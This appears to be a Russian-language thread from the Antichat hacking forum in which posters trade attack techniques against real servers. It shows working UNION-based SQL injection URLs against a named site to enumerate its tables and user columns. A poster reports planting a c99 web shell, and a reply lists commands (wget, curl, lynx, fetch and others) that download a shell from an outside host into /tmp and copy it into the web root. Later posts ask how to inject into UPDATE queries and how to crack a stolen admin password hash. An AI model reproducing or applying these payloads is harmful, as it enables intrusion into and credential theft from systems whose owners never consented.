ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Все выводится

http://www.rasc.ru/multimedia/svf9.shtml?album=svf9+union+select+1,2,3,4,5,6,7,c olumn_name,9+from+information_schema.columns--+

http://www.rasc.ru/multimedia/svf9.shtml?album=svf9+union+select+1,2,3,4,5,6,7,t able_schema,9+from+information_schema.columns--+

password -> 0x70617373776F7264

http://www.rasc.ru/multimedia/svf9.shtml?album=svf9+union+select+1,2,3,4,5,6,7,t able_name,9+from+information_schema.columns+where+ column_name=0x70617373776F7264--+

phpads_users
site
Users

Пиплы,вопрос! Залил c99 на удалённый сервак.Захожу в Sec - показывается только функция /etc/passwd.Пытаюсь аплоаднуть другой шелл в другую директорию,доступную на запись - фигли.Меня кидает обратно на диру,куда я залил шелл(/download).Чем вызвана эта болезнь ? Также интересует причина возникновения *чёрных пятен*,а точнее,огромного тёмного экрана вместо исходного кода рнр скрипта.Проблема возникает при попытке просмотреть исходный код.Права для гостей(в том числе,и для меня,хоть я и отношусь к группе www на сервере),есть ТОЛЬКО права на чтение,но я ведь и не собираюсь запускать скрипт,а лишь только глянуть его исходник.У кого какие мысли ?

Во избежание лишних вопросов:

Apache: 1.3.27
PHP: 4.2.3
SAFE-MODE: OFF
Open-basedir: no value

))) а uname -a и id??

Работают )

Что самое интересное,так это то,что права,выставленные на фаил,не влияют))).Фаил тупо не грузится и всё тут - чёрный экран.(проверял на фаилах с правами 777)

ну дык как загрузил шелл - так и грузани его с тем именем и в ту папку, в которую ты хотел бы. Или не шелл, а что ты там хотел. Чо тут думать.

Плюс попробуй загрузить что угодно (не обязательно шелл) в папку /tmp ,как через choose, так и так вот:

1. lynx -source "http://site/shell.txt" > /tmp/shell.php
2. links -source "http://site/shell.txt" > /tmp/shell.php
3. wget -o /tmp/shell.php http://site/shell.txt
4. GET http://site/shell.txt > /tmp/shell.php
5. fetch -o shell.php http://site/shell.txt
6. curl --output shell.php http://site/shell.txt

а потом:

cp /tmp/shell.php /абсолютный_путь/папка/новое_название_шелла

ЗЫЖ Или сразу "cp"

Есть 2 вопроса:

1) Про внедрение в иньекцию UPDATE.

Пробовал на различных серваках так:

Если вывод ошибок не отключен, то пишет что ошибка в синтаксесе.

Тоже не срабатывает

И даже такие запросы почему то не проходят.

Поясните пожалуйста. Я понимаю если бы писало нет привелегий. У кго ибудь получалось значения в таблицах менять? Буду очень рад примеру


2) Вопрос. Получил пароль админа

В таблице с юзерами есть поле salt но оно у всех пустое. Походу подсаливание не задействовано.

Как то зашифрован.

Зарегал своего юзера

Как расшифровать????

2 farpost
php не поддерживает выполнения запросов к БД, разделенных символом ;